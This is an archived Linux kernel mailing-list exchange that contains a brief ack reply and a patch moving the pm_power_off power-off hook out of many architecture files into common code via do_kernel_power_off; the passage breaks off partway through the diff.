X-Mailing-List: linux-sh@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.sh.devel:40586 gmane.linux.kernel:1819076 gmane.linux.drivers.devicetree:96524 gmane.linux.kernel.virtualization.lguest:1544 gmane.linux.acpi.devel:71723 gmane.linux.ports.alpha:2531 gmane.linux.kernel.efi:4953 gmane.linux.ports.hexagon:875 gmane.linux.ports.ppc64.devel:106556 gmane.linux.ports.tegra:19842 gmane.linux.kernel.openipmi:2547 gmane.linux.uml.devel:14796 gmane.linux.ports.arm.kernel:368307 gmane.linux.ports.ia64:24681 gmane.linux.kernel.metag:394 gmane.linux.ports.mips.general:44968 gmane.linux.ports.parisc:6197 gmane.linux.power-management.general:51977
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.sh.devel/40586>

On 11/01/2014 03:16 AM, Hans-Christian Egtvedt wrote:
> Around Mon 06 Oct 2014 22:28:35 -0700 or thereabout, Guenter Roeck wrote:
>> Register with kernel poweroff handler instead of setting pm_power_off
>> directly.
>>
>> Cc: Haavard Skinnemoen <hskinnemoen@gmail.com>
>> Cc: Hans-Christian Egtvedt <egtvedt@samfundet.no>
>> Signed-off-by: Guenter Roeck <linux@roeck-us.net>
>
> Acked-by: Hans-Christian Egtvedt <egtvedt@samfundet.no>
>

Thanks!

Guenter

--
To unsubscribe from this list: send the line "unsubscribe linux-sh" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:10:55 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 

From - Thu Nov 08 21:10:55 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Guenter Roeck <linux@roeck-us.net>
Newsgroups: gmane.linux.ports.arm.kernel,gmane.linux.kernel,gmane.linux.ports.mips.general,gmane.linux.ports.ia64,gmane.linux.ports.sh.devel,gmane.linux.ports.openrisc,gmane.linux.ports.sparc,gmane.linux.ports.hexagon,gmane.linux.uml.devel,gmane.linux.power-management.general,gmane.linux.uml.user,gmane.linux.kernel.metag,gmane.linux.ports.parisc,gmane.linux.ports.alpha,gmane.linux.ports.ppc64.devel
Subject: [PATCH v5 08/48] kernel: Move pm_power_off to common code
Date: Thu,  6 Nov 2014 08:42:52 -0800
Lines: 906
Approved: news@gmane.org
Message-ID: <1415292213-28652-9-git-send-email-linux@roeck-us.net>
References: <1415292213-28652-1-git-send-email-linux@roeck-us.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1415292341 13383 80.91.229.3 (6 Nov 2014 16:45:41 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 6 Nov 2014 16:45:41 +0000 (UTC)
Cc: linux-mips@linux-mips.org, linux-ia64@vger.kernel.org,
 linux-sh@vger.kernel.org, linux@lists.openrisc.net, sparclinux@vger.kernel.org,
 linux-s390@vger.kernel.org, linux-am33-list@redhat.com,
 linux-c6x-dev@linux-c6x.org, linux-hexagon@vger.kernel.org, x86@kernel.org,
 xen-devel@lists.xenproject.org, Guenter Roeck <linux@roeck-us.net>,
 linux-xtensa@linux-xtensa.org, user-mode-linux-devel@lists.sourceforge.net,
 linux-pm@vger.kernel.org, adi-buildroot-devel@lists.sourceforge.net,
 linux-m68k@lists.linux-m68k.org, user-mode-linux-user@lists.sourceforge.net,
 linux-metag@vger.kernel.org, linux-arm-kernel@lists.infradead.org,
 linux-parisc@vger.kernel.org, linux-cris-kernel@axis.com,
 linux-alpha@vger.kernel.org, linux390@de.ibm.com,
 linuxppc-dev@lists.ozlabs.org
To: linux-kernel@vger.kernel.org
Original-X-From: linux-arm-kernel-bounces+linux-arm-kernel=m.gmane.org@lists.infradead.org Thu Nov 06 17:45:33 2014
Return-path: <linux-arm-kernel-bounces+linux-arm-kernel=m.gmane.org@lists.infradead.org>
Envelope-to: linux-arm-kernel@m.gmane.org
Original-Received: from bombadil.infradead.org ([198.137.202.9])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-arm-kernel-bounces+linux-arm-kernel=m.gmane.org@lists.infradead.org>)
	id 1XmQBh-0000lp-Bb
	for linux-arm-kernel@m.gmane.org; Thu, 06 Nov 2014 17:45:33 +0100
Original-Received: from localhost ([127.0.0.1] helo=bombadil.infradead.org)
	by bombadil.infradead.org with esmtp (Exim 4.80.1 #2 (Red Hat Linux))
	id 1XmQB5-0007CK-IL; Thu, 06 Nov 2014 16:44:55 +0000
Original-Received: from bh-25.webhostbox.net ([208.91.199.152])
 by bombadil.infradead.org with esmtps (Exim 4.80.1 #2 (Red Hat Linux))
 id 1XmQAy-00070M-Lh
 for linux-arm-kernel@lists.infradead.org; Thu, 06 Nov 2014 16:44:51 +0000
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed; d=roeck-us.net;
 s=default; 
 h=References:In-Reply-To:Message-Id:Date:Subject:Cc:To:From;
 bh=1Go5vcjEmM3rzRrnnyPNMi30qCyKVF5mQcViOm/0gAY=; 
 b=m0IhrRUCnZkzb0L8Pez5tFfZL0VPPcJcsaC3i5pOfqftTRMW4o5arVQnFd15YNB4+1zbzRMJHfojOVsO8vUbPfyiadkqT3MtXN9NCTPpwIjRQWOymhEkpdFD2LzEwcLRKKH3VXsrJY0rKqKfHCOOKs3q3zCEBR30A6XIUKMpVr8=;
Original-Received: from mailnull by bh-25.webhostbox.net with sa-checked (Exim 4.82)
 (envelope-from <linux@roeck-us.net>) id 1XmQAf-000Tr1-8R
 for linux-arm-kernel@lists.infradead.org; Thu, 06 Nov 2014 16:44:29 +0000
Original-Received: from 108-223-40-66.lightspeed.sntcca.sbcglobal.net
 ([108.223.40.66]:35302 helo=localhost)
 by bh-25.webhostbox.net with esmtpa (Exim 4.82)
 (envelope-from <linux@roeck-us.net>)
 id 1XmQAA-000Srg-5y; Thu, 06 Nov 2014 16:44:00 +0000
X-Mailer: git-send-email 1.9.1
In-Reply-To: <1415292213-28652-1-git-send-email-linux@roeck-us.net>
X-Authenticated_sender: guenter@roeck-us.net
X-OutGoing-Spam-Status: No, score=2.5
X-Spam-Checker-Version: spamc_ctasd client on
	localost
X-Spam-Level: 
X-Spam-Status: No, score=0.0 required=50.0 tests=SpamClass_Unknown,
 VirusClass_Unknown autolearn=disabled version=1.0.0
X-CTCH-PVer: 0000001
X-CTCH-Spam: Unknown
X-CTCH-VOD: Unknown
X-CTCH-Flags: 0
X-CTCH-RefID: str=0001.0A020205.545BA56D.0106, ss=1, re=0.000, recu=0.000,
 reip=0.000, cl=1, cld=1, fgs=0
X-CTCH-Score: 0.000
X-CTCH-ScoreCust: 0.000
X-CTCH-Rules: 
X-CTCH-SenderID: linux@roeck-us.net
X-CTCH-SenderID-Flags: 0
X-CTCH-SenderID-TotalMessages: 121
X-CTCH-SenderID-TotalSpam: 0
X-CTCH-SenderID-TotalSuspected: 0
X-CTCH-SenderID-TotalConfirmed: 0
X-CTCH-SenderID-TotalBulk: 0
X-CTCH-SenderID-TotalVirus: 0
X-CTCH-SenderID-TotalRecipients: 0
X-AntiAbuse: This header was added to track abuse,
 please include it with any abuse report
X-AntiAbuse: Primary Hostname - bh-25.webhostbox.net
X-AntiAbuse: Original Domain - lists.infradead.org
X-AntiAbuse: Originator/Caller UID/GID - [47 12] / [47 12]
X-AntiAbuse: Sender Address Domain - roeck-us.net
X-Get-Message-Sender-Via: bh-25.webhostbox.net: mailgid no entry from
 get_relayhosts_entry
X-Source: 
X-Source-Args: 
X-Source-Dir: 
X-CRM114-Version: 20100106-BlameMichelson ( TRE 0.8.0 (BSD) ) MR-646709E3 
X-CRM114-CacheID: sfid-20141106_084449_239926_926B1649 
X-CRM114-Status: GOOD (  13.73  )
X-Spam-Score: 2.4 (++)
X-Spam-Report: SpamAssassin version 3.4.0 on bombadil.infradead.org summary:
 Content analysis details:   (2.4 points)
 pts rule name              description
 ---- ---------------------- --------------------------------------------------
 2.5 SUSPICIOUS_RECIPS      Similar addresses in recipient list
 -0.0 SPF_PASS               SPF: sender matches SPF record
 0.1 DKIM_SIGNED            Message has a DKIM or DK signature,
 not necessarily valid
 -0.1 DKIM_VALID Message has at least one valid DKIM or DK signature
 -0.1 DKIM_VALID_AU Message has a valid DKIM or DK signature from author's
 domain
X-BeenThere: linux-arm-kernel@lists.infradead.org
X-Mailman-Version: 2.1.18-1
Precedence: list
List-Id: <linux-arm-kernel.lists.infradead.org>
List-Unsubscribe: <http://lists.infradead.org/mailman/options/linux-arm-kernel>, 
 <mailto:linux-arm-kernel-request@lists.infradead.org?subject=unsubscribe>
List-Archive: <http://lists.infradead.org/pipermail/linux-arm-kernel/>
List-Post: <mailto:linux-arm-kernel@lists.infradead.org>
List-Help: <mailto:linux-arm-kernel-request@lists.infradead.org?subject=help>
List-Subscribe: <http://lists.infradead.org/mailman/listinfo/linux-arm-kernel>, 
 <mailto:linux-arm-kernel-request@lists.infradead.org?subject=subscribe>
Original-Sender: "linux-arm-kernel" <linux-arm-kernel-bounces@lists.infradead.org>
Errors-To: linux-arm-kernel-bounces+linux-arm-kernel=m.gmane.org@lists.infradead.org
Xref: news.gmane.org gmane.linux.ports.arm.kernel:369703 gmane.linux.kernel:1823170 gmane.linux.ports.mips.general:45030 gmane.linux.ports.ia64:24690 gmane.linux.ports.sh.devel:40856 gmane.linux.ports.openrisc:622 gmane.linux.ports.sparc:20154 gmane.linux.ports.hexagon:877 gmane.linux.uml.devel:14797 gmane.linux.power-management.general:52291 gmane.linux.uml.user:14748 gmane.linux.kernel.metag:397 gmane.linux.ports.parisc:6199 gmane.linux.ports.alpha:2533 gmane.linux.ports.ppc64.devel:106663
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.arm.kernel/369703>

pm_power_off is defined for all architectures. Move it to common code.

Have all architectures call do_kernel_power_off instead of pm_power_off.
Some architectures point pm_power_off to machine_power_off. For those,
call do_kernel_power_off from machine_power_off instead.

Acked-by: David Vrabel <david.vrabel@citrix.com>
Acked-by: Geert Uytterhoeven <geert@linux-m68k.org>
Acked-by: Hirokazu Takata <takata@linux-m32r.org>
Acked-by: James Hogan <james.hogan@imgtec.com>
Acked-by: Jesper Nilsson <jesper.nilsson@axis.com>
Acked-by: Max Filippov <jcmvbkbc@gmail.com>
Acked-by: Rafael J. Wysocki <rjw@rjwysocki.net>
Acked-by: Richard Weinberger <richard@nod.at>
Acked-by: Xuetao Guan <gxt@mprc.pku.edu.cn>
Acked-by: Ralf Baechle <ralf@linux-mips.org>
Signed-off-by: Guenter Roeck <linux@roeck-us.net>
---
v5:
- Rebase to v3.18-rc3
- Update powerpc code to reflect merged power-off handler changes
v4:
- No change
v3:
- Replace poweroff in all newly introduced variables and in text
  with power_off or power-off as appropriate
v2:
- do_kernel_poweroff -> do_kernel_power_off
- have_kernel_poweroff -> have_kernel_power_off

 arch/alpha/kernel/process.c        |  9 +++------
 arch/arc/kernel/reset.c            |  5 +----
 arch/arm/kernel/process.c          |  5 +----
 arch/arm64/kernel/process.c        |  5 +----
 arch/avr32/kernel/process.c        |  6 +-----
 arch/blackfin/kernel/process.c     |  3 ---
 arch/blackfin/kernel/reboot.c      |  2 ++
 arch/c6x/kernel/process.c          |  9 +--------
 arch/cris/kernel/process.c         |  4 +---
 arch/frv/kernel/process.c          |  5 ++---
 arch/hexagon/kernel/reset.c        |  5 ++---
 arch/ia64/kernel/process.c         |  5 +----
 arch/m32r/kernel/process.c         |  8 ++++----
 arch/m68k/kernel/process.c         |  6 +-----
 arch/metag/kernel/process.c        |  6 +-----
 arch/microblaze/kernel/process.c   |  3 ---
 arch/microblaze/kernel/reset.c     |  1 +
 arch/mips/kernel/reset.c           |  6 +-----
 arch/mn10300/kernel/process.c      |  8 ++------
 arch/openrisc/kernel/process.c     |  8 +++++---
 arch/parisc/kernel/process.c       |  8 ++++----
 arch/powerpc/kernel/setup-common.c |  6 +-----
 arch/powerpc/xmon/xmon.c           |  3 +--
 arch/s390/kernel/setup.c           |  8 ++------
 arch/score/kernel/process.c        |  8 ++++----
 arch/sh/kernel/reboot.c            |  6 +-----
 arch/sparc/kernel/process_32.c     | 10 ++--------
 arch/sparc/kernel/reboot.c         |  8 ++------
 arch/tile/kernel/reboot.c          |  7 +++----
 arch/um/kernel/reboot.c            |  2 --
 arch/unicore32/kernel/process.c    |  9 +--------
 arch/x86/kernel/reboot.c           | 11 +++--------
 arch/x86/xen/enlighten.c           |  3 +--
 arch/xtensa/kernel/process.c       |  4 ----
 drivers/parisc/power.c             |  3 +--
 kernel/power/power_off_handler.c   |  9 +++++++++
 kernel/reboot.c                    |  4 ++--
 37 files changed, 68 insertions(+), 150 deletions(-)

diff --git a/arch/alpha/kernel/process.c b/arch/alpha/kernel/process.c
index 1941a07..81c43f8 100644
--- a/arch/alpha/kernel/process.c
+++ b/arch/alpha/kernel/process.c
@@ -24,6 +24,7 @@
 #include <linux/vt.h>
 #include <linux/mman.h>
 #include <linux/elfcore.h>
+#include <linux/pm.h>
 #include <linux/reboot.h>
 #include <linux/tty.h>
 #include <linux/console.h>
@@ -40,12 +41,6 @@
 #include "proto.h"
 #include "pci_impl.h"
 
-/*
- * Power off function, if any
- */
-void (*pm_power_off)(void) = machine_power_off;
-EXPORT_SYMBOL(pm_power_off);
-
 #ifdef CONFIG_ALPHA_WTINT
 /*
  * Sleep the CPU.
@@ -184,6 +179,8 @@ machine_halt(void)
 void
 machine_power_off(void)
 {
+	do_kernel_power_off();
+
 	common_shutdown(LINUX_REBOOT_CMD_POWER_OFF, NULL);
 }
 
diff --git a/arch/arc/kernel/reset.c b/arch/arc/kernel/reset.c
index 2768fa1..0758d9d 100644
--- a/arch/arc/kernel/reset.c
+++ b/arch/arc/kernel/reset.c
@@ -26,9 +26,6 @@ void machine_restart(char *__unused)
 
 void machine_power_off(void)
 {
-	/* FIXME ::  power off ??? */
+	do_kernel_power_off();
 	machine_halt();
 }
-
-void (*pm_power_off) (void) = NULL;
-EXPORT_SYMBOL(pm_power_off);
diff --git a/arch/arm/kernel/process.c b/arch/arm/kernel/process.c
index fe972a2..aa3f656 100644
--- a/arch/arm/kernel/process.c
+++ b/arch/arm/kernel/process.c
@@ -117,8 +117,6 @@ void soft_restart(unsigned long addr)
 /*
  * Function pointers to optional machine specific functions
  */
-void (*pm_power_off)(void);
-EXPORT_SYMBOL(pm_power_off);
 
 void (*arm_pm_restart)(enum reboot_mode reboot_mode, const char *cmd);
 
@@ -205,8 +203,7 @@ void machine_power_off(void)
 	local_irq_disable();
 	smp_send_stop();
 
-	if (pm_power_off)
-		pm_power_off();
+	do_kernel_power_off();
 }
 
 /*
diff --git a/arch/arm64/kernel/process.c b/arch/arm64/kernel/process.c
index fde9923..6f623a0 100644
--- a/arch/arm64/kernel/process.c
+++ b/arch/arm64/kernel/process.c
@@ -68,8 +68,6 @@ void soft_restart(unsigned long addr)
 /*
  * Function pointers to optional machine specific functions
  */
-void (*pm_power_off)(void);
-EXPORT_SYMBOL_GPL(pm_power_off);
 
 void (*arm_pm_restart)(enum reboot_mode reboot_mode, const char *cmd);
 
@@ -129,8 +127,7 @@ void machine_power_off(void)
 {
 	local_irq_disable();
 	smp_send_stop();
-	if (pm_power_off)
-		pm_power_off();
+	do_kernel_power_off();
 }
 
 /*
diff --git a/arch/avr32/kernel/process.c b/arch/avr32/kernel/process.c
index 42a53e74..529c1f6 100644
--- a/arch/avr32/kernel/process.c
+++ b/arch/avr32/kernel/process.c
@@ -23,9 +23,6 @@
 
 #include <mach/pm.h>
 
-void (*pm_power_off)(void);
-EXPORT_SYMBOL(pm_power_off);
-
 /*
  * This file handles the architecture-dependent parts of process handling..
  */
@@ -48,8 +45,7 @@ void machine_halt(void)
 
 void machine_power_off(void)
 {
-	if (pm_power_off)
-		pm_power_off();
+	do_kernel_power_off();
 }
 
 void machine_restart(char *cmd)
diff --git a/arch/blackfin/kernel/process.c b/arch/blackfin/kernel/process.c
index 4aa5545..812dd83 100644
--- a/arch/blackfin/kernel/process.c
+++ b/arch/blackfin/kernel/process.c
@@ -39,9 +39,6 @@ int nr_l1stack_tasks;
 void *l1_stack_base;
 unsigned long l1_stack_len;
 
-void (*pm_power_off)(void) = NULL;
-EXPORT_SYMBOL(pm_power_off);
-
 /*
  * The idle loop on BFIN
  */
diff --git a/arch/blackfin/kernel/reboot.c b/arch/blackfin/kernel/reboot.c
index c4f50a3..387d610 100644
--- a/arch/blackfin/kernel/reboot.c
+++ b/arch/blackfin/kernel/reboot.c
@@ -7,6 +7,7 @@
  */
 
 #include <linux/interrupt.h>
+#include <linux/pm.h>
 #include <asm/bfin-global.h>
 #include <asm/reboot.h>
 #include <asm/bfrom.h>
@@ -106,6 +107,7 @@ void machine_halt(void)
 __attribute__((weak))
 void native_machine_power_off(void)
 {
+	do_kernel_power_off();
 	idle_with_irq_disabled();
 }
 
diff --git a/arch/c6x/kernel/process.c b/arch/c6x/kernel/process.c
index 57d2ea8..edf7e5a 100644
--- a/arch/c6x/kernel/process.c
+++ b/arch/c6x/kernel/process.c
@@ -27,12 +27,6 @@ void	(*c6x_halt)(void);
 extern asmlinkage void ret_from_fork(void);
 extern asmlinkage void ret_from_kernel_thread(void);
 
-/*
- * power off function, if any
- */
-void (*pm_power_off)(void);
-EXPORT_SYMBOL(pm_power_off);
-
 void arch_cpu_idle(void)
 {
 	unsigned long tmp;
@@ -73,8 +67,7 @@ void machine_halt(void)
 
 void machine_power_off(void)
 {
-	if (pm_power_off)
-		pm_power_off();
+	do_kernel_power_off();
 	halt_loop();
 }
 
diff --git a/arch/cris/kernel/process.c b/arch/cris/kernel/process.c
index b78498e..9ebd76b 100644
--- a/arch/cris/kernel/process.c
+++ b/arch/cris/kernel/process.c
@@ -31,9 +31,6 @@
 
 extern void default_idle(void);
 
-void (*pm_power_off)(void);
-EXPORT_SYMBOL(pm_power_off);
-
 void arch_cpu_idle(void)
 {
 	default_idle();
@@ -60,6 +57,7 @@ void machine_halt(void)
 
 void machine_power_off(void)
 {
+	do_kernel_power_off();
 }
 
 /*
diff --git a/arch/frv/kernel/process.c b/arch/frv/kernel/process.c
index 5d40aeb77..502dabb 100644
--- a/arch/frv/kernel/process.c
+++ b/arch/frv/kernel/process.c
@@ -42,9 +42,6 @@ asmlinkage void ret_from_kernel_thread(void);
 
 #include <asm/pgalloc.h>
 
-void (*pm_power_off)(void);
-EXPORT_SYMBOL(pm_power_off);
-
 static void core_sleep_idle(void)
 {
 #ifdef LED_DEBUG_SLEEP
@@ -107,6 +104,8 @@ void machine_power_off(void)
 	gdbstub_exit(0);
 #endif
 
+	do_kernel_power_off();
+
 	for (;;);
 }
 
diff --git a/arch/hexagon/kernel/reset.c b/arch/hexagon/kernel/reset.c
index 76483c1..6f607b6 100644
--- a/arch/hexagon/kernel/reset.c
+++ b/arch/hexagon/kernel/reset.c
@@ -16,11 +16,13 @@
  * 02110-1301, USA.
  */
 
+#include <linux/pm.h>
 #include <linux/smp.h>
 #include <asm/hexagon_vm.h>
 
 void machine_power_off(void)
 {
+	do_kernel_power_off();
 	smp_send_stop();
 	__vmstop();
 }
@@ -32,6 +34,3 @@ void machine_halt(void)
 void machine_restart(char *cmd)
 {
 }
-
-void (*pm_power_off)(void) = NULL;
-EXPORT_SYMBOL(pm_power_off);
diff --git a/arch/ia64/kernel/process.c b/arch/ia64/kernel/process.c
index b515149..88121a2 100644
--- a/arch/ia64/kernel/process.c
+++ b/arch/ia64/kernel/process.c
@@ -57,8 +57,6 @@ void (*ia64_mark_idle)(int);
 
 unsigned long boot_option_idle_override = IDLE_NO_OVERRIDE;
 EXPORT_SYMBOL(boot_option_idle_override);
-void (*pm_power_off) (void);
-EXPORT_SYMBOL(pm_power_off);
 
 void
 ia64_do_show_stack (struct unw_frame_info *info, void *arg)
@@ -675,8 +673,7 @@ machine_halt (void)
 void
 machine_power_off (void)
 {
-	if (pm_power_off)
-		pm_power_off();
+	do_kernel_power_off();
 	machine_halt();
 }
 
diff --git a/arch/m32r/kernel/process.c b/arch/m32r/kernel/process.c
index e69221d..65a037e 100644
--- a/arch/m32r/kernel/process.c
+++ b/arch/m32r/kernel/process.c
@@ -23,6 +23,7 @@
 #include <linux/fs.h>
 #include <linux/slab.h>
 #include <linux/module.h>
+#include <linux/pm.h>
 #include <linux/ptrace.h>
 #include <linux/unistd.h>
 #include <linux/hardirq.h>
@@ -44,9 +45,6 @@ unsigned long thread_saved_pc(struct task_struct *tsk)
 	return tsk->thread.lr;
 }
 
-void (*pm_power_off)(void) = NULL;
-EXPORT_SYMBOL(pm_power_off);
-
 void machine_restart(char *__unused)
 {
 #if defined(CONFIG_PLAT_MAPPI3)
@@ -67,7 +65,9 @@ void machine_halt(void)
 
 void machine_power_off(void)
 {
-	/* M32R_FIXME */
+	do_kernel_power_off();
+	for (;;)
+		;
 }
 
 void show_regs(struct pt_regs * regs)
diff --git a/arch/m68k/kernel/process.c b/arch/m68k/kernel/process.c
index afe3d6e..bbc0a63 100644
--- a/arch/m68k/kernel/process.c
+++ b/arch/m68k/kernel/process.c
@@ -78,14 +78,10 @@ void machine_halt(void)
 
 void machine_power_off(void)
 {
-	if (pm_power_off)
-		pm_power_off();
+	do_kernel_power_off();
 	for (;;);
 }
 
-void (*pm_power_off)(void) = machine_power_off;
-EXPORT_SYMBOL(pm_power_off);
-
 void show_regs(struct pt_regs * regs)
 {
 	printk("\n");
diff --git a/arch/metag/kernel/process.c b/arch/metag/kernel/process.c
index 483dff9..8d95773 100644
--- a/arch/metag/kernel/process.c
+++ b/arch/metag/kernel/process.c
@@ -67,9 +67,6 @@ void arch_cpu_idle_dead(void)
 }
 #endif
 
-void (*pm_power_off)(void);
-EXPORT_SYMBOL(pm_power_off);
-
 void (*soc_restart)(char *cmd);
 void (*soc_halt)(void);
 
@@ -90,8 +87,7 @@ void machine_halt(void)
 
 void machine_power_off(void)
 {
-	if (pm_power_off)
-		pm_power_off();
+	do_kernel_power_off();
 	smp_send_stop();
 	hard_processor_halt(HALT_OK);
 }
diff --git a/arch/microblaze/kernel/process.c b/arch/microblaze/kernel/process.c
index b2dd371..0ebca36 100644
--- a/arch/microblaze/kernel/process.c
+++ b/arch/microblaze/kernel/process.c
@@ -44,9 +44,6 @@ void show_regs(struct pt_regs *regs)
 				regs->msr, regs->ear, regs->esr, regs->fsr);
 }
 
-void (*pm_power_off)(void) = NULL;
-EXPORT_SYMBOL(pm_power_off);
-
 void flush_thread(void)
 {
 }
diff --git a/arch/microblaze/kernel/reset.c b/arch/microblaze/kernel/reset.c
index fbe58c6..2c6b32c 100644
--- a/arch/microblaze/kernel/reset.c
+++ b/arch/microblaze/kernel/reset.c
@@ -103,6 +103,7 @@ void machine_halt(void)
 void machine_power_off(void)
 {
 	pr_notice("Machine power off...\n");
+	do_kernel_power_off();
 	while (1)
 		;
 }
diff --git a/arch/mips/kernel/reset.c b/arch/mips/kernel/reset.c
index 07fc524..09e74d2 100644
--- a/arch/mips/kernel/reset.c
+++ b/arch/mips/kernel/reset.c
@@ -21,9 +21,6 @@
  */
 void (*_machine_restart)(char *command);
 void (*_machine_halt)(void);
-void (*pm_power_off)(void);
-
-EXPORT_SYMBOL(pm_power_off);
 
 void machine_restart(char *command)
 {
@@ -39,6 +36,5 @@ void machine_halt(void)
 
 void machine_power_off(void)
 {
-	if (pm_power_off)
-		pm_power_off();
+	do_kernel_power_off();
 }
diff --git a/arch/mn10300/kernel/process.c b/arch/mn10300/kernel/process.c
index 3707da5..c78b2eb 100644
--- a/arch/mn10300/kernel/process.c
+++ b/arch/mn10300/kernel/process.c
@@ -20,6 +20,7 @@
 #include <linux/user.h>
 #include <linux/interrupt.h>
 #include <linux/delay.h>
+#include <linux/pm.h>
 #include <linux/reboot.h>
 #include <linux/percpu.h>
 #include <linux/err.h>
@@ -45,12 +46,6 @@ unsigned long thread_saved_pc(struct task_struct *tsk)
 }
 
 /*
- * power off function, if any
- */
-void (*pm_power_off)(void);
-EXPORT_SYMBOL(pm_power_off);
-
-/*
  * On SMP it's slightly faster (but much more power-consuming!)
  * to poll the ->work.need_resched flag instead of waiting for the
  * cross-CPU IPI to arrive. Use this option with caution.
@@ -93,6 +88,7 @@ void machine_power_off(void)
 #ifdef CONFIG_KERNEL_DEBUGGER
 	gdbstub_exit(0);
 #endif
+	do_kernel_power_off();
 }
 
 void show_regs(struct pt_regs *regs)
diff --git a/arch/openrisc/kernel/process.c b/arch/openrisc/kernel/process.c
index 386af25..494afd2 100644
--- a/arch/openrisc/kernel/process.c
+++ b/arch/openrisc/kernel/process.c
@@ -25,6 +25,7 @@
 #include <linux/kernel.h>
 #include <linux/module.h>
 #include <linux/mm.h>
+#include <linux/pm.h>
 #include <linux/stddef.h>
 #include <linux/unistd.h>
 #include <linux/ptrace.h>
@@ -51,7 +52,7 @@
  */
 struct thread_info *current_thread_info_set[NR_CPUS] = { &init_thread_info, };
 
-void machine_restart(void)
+void machine_restart(char *cmd)
 {
 	printk(KERN_INFO "*** MACHINE RESTART ***\n");
 	__asm__("l.nop 1");
@@ -72,11 +73,12 @@ void machine_halt(void)
 void machine_power_off(void)
 {
 	printk(KERN_INFO "*** MACHINE POWER OFF ***\n");
+
+	do_kernel_power_off();
+
 	__asm__("l.nop 1");
 }
 
-void (*pm_power_off) (void) = machine_power_off;
-
 /*
  * When a process does an "exec", machine state like FPU and debug
  * registers need to be reset.  This is a hook function for that.
diff --git a/arch/parisc/kernel/process.c b/arch/parisc/kernel/process.c
index 0bbbf0d..3f5d14a 100644
--- a/arch/parisc/kernel/process.c
+++ b/arch/parisc/kernel/process.c
@@ -41,6 +41,7 @@
 #include <linux/fs.h>
 #include <linux/module.h>
 #include <linux/personality.h>
+#include <linux/pm.h>
 #include <linux/ptrace.h>
 #include <linux/sched.h>
 #include <linux/slab.h>
@@ -133,7 +134,9 @@ void machine_power_off(void)
 	pdc_soft_power_button(0);
 	
 	pdc_chassis_send_status(PDC_CHASSIS_DIRECT_SHUTDOWN);
-		
+
+	do_kernel_power_off();
+
 	/* It seems we have no way to power the system off via
 	 * software. The user has to press the button himself. */
 
@@ -141,9 +144,6 @@ void machine_power_off(void)
 	       "Please power this system off now.");
 }
 
-void (*pm_power_off)(void) = machine_power_off;
-EXPORT_SYMBOL(pm_power_off);
-
 /*
  * Free current thread data structures etc..
  */
diff --git a/arch/powerpc/kernel/setup-common.c b/arch/powerpc/kernel/setup-common.c
index 44c8d03..a2efce7 100644
--- a/arch/powerpc/kernel/setup-common.c
+++ b/arch/powerpc/kernel/setup-common.c
@@ -139,8 +139,7 @@ void machine_restart(char *cmd)
 void machine_power_off(void)
 {
 	machine_shutdown();
-	if (pm_power_off)
-		pm_power_off();
+	do_kernel_power_off();
 #ifdef CONFIG_SMP
 	smp_send_stop();
 #endif
@@ -151,9 +150,6 @@ void machine_power_off(void)
 /* Used by the G5 thermal driver */
 EXPORT_SYMBOL_GPL(machine_power_off);
 
-void (*pm_power_off)(void);
-EXPORT_SYMBOL_GPL(pm_power_off);
-
 void machine_halt(void)
 {
 	machine_shutdown();
diff --git a/arch/powerpc/xmon/xmon.c b/arch/powerpc/xmon/xmon.c
index 506d256..8780178 100644
--- a/arch/powerpc/xmon/xmon.c
+++ b/arch/powerpc/xmon/xmon.c
@@ -981,8 +981,7 @@ static void bootcmds(void)
 	else if (cmd == 'h')
 		ppc_md.halt();
 	else if (cmd == 'p')
-		if (pm_power_off)
-			pm_power_off();
+		do_kernel_power_off();
 }
 
 static int cpu_cmd(void)
diff --git a/arch/s390/kernel/setup.c b/arch/s390/kernel/setup.c
index e80d9ff..267e025 100644
--- a/arch/s390/kernel/setup.c
+++ b/arch/s390/kernel/setup.c
@@ -263,13 +263,9 @@ void machine_power_off(void)
 		 */
 		console_unblank();
 	_machine_power_off();
-}
 
-/*
- * Dummy power off function.
- */
-void (*pm_power_off)(void) = machine_power_off;
-EXPORT_SYMBOL_GPL(pm_power_off);
+	do_kernel_power_off();
+}
 
 static int __init early_parse_mem(char *p)
 {
diff --git a/arch/score/kernel/process.c b/arch/score/kernel/process.c
index a1519ad3..b76ea67 100644
--- a/arch/score/kernel/process.c
+++ b/arch/score/kernel/process.c
@@ -29,9 +29,6 @@
 #include <linux/pm.h>
 #include <linux/rcupdate.h>
 
-void (*pm_power_off)(void);
-EXPORT_SYMBOL(pm_power_off);
-
 /* If or when software machine-restart is implemented, add code here. */
 void machine_restart(char *command) {}
 
@@ -39,7 +36,10 @@ void machine_restart(char *command) {}
 void machine_halt(void) {}
 
 /* If or when software machine-power-off is implemented, add code here. */
-void machine_power_off(void) {}
+void machine_power_off(void)
+{
+	do_kernel_power_off();
+}
 
 void ret_from_fork(void);
 void ret_from_kernel_thread(void);
diff --git a/arch/sh/kernel/reboot.c b/arch/sh/kernel/reboot.c
index 04afe5b..065de12 100644
--- a/arch/sh/kernel/reboot.c
+++ b/arch/sh/kernel/reboot.c
@@ -11,9 +11,6 @@
 #include <asm/tlbflush.h>
 #include <asm/traps.h>
 
-void (*pm_power_off)(void);
-EXPORT_SYMBOL(pm_power_off);
-
 #ifdef CONFIG_SUPERH32
 static void watchdog_trigger_immediate(void)
 {
@@ -51,8 +48,7 @@ static void native_machine_shutdown(void)
 
 static void native_machine_power_off(void)
 {
-	if (pm_power_off)
-		pm_power_off();
+	do_kernel_power_off();
 }
 
 static void native_machine_halt(void)
diff --git a/arch/sparc/kernel/process_32.c b/arch/sparc/kernel/process_32.c
index 50e7b62..cb8148a 100644
--- a/arch/sparc/kernel/process_32.c
+++ b/arch/sparc/kernel/process_32.c
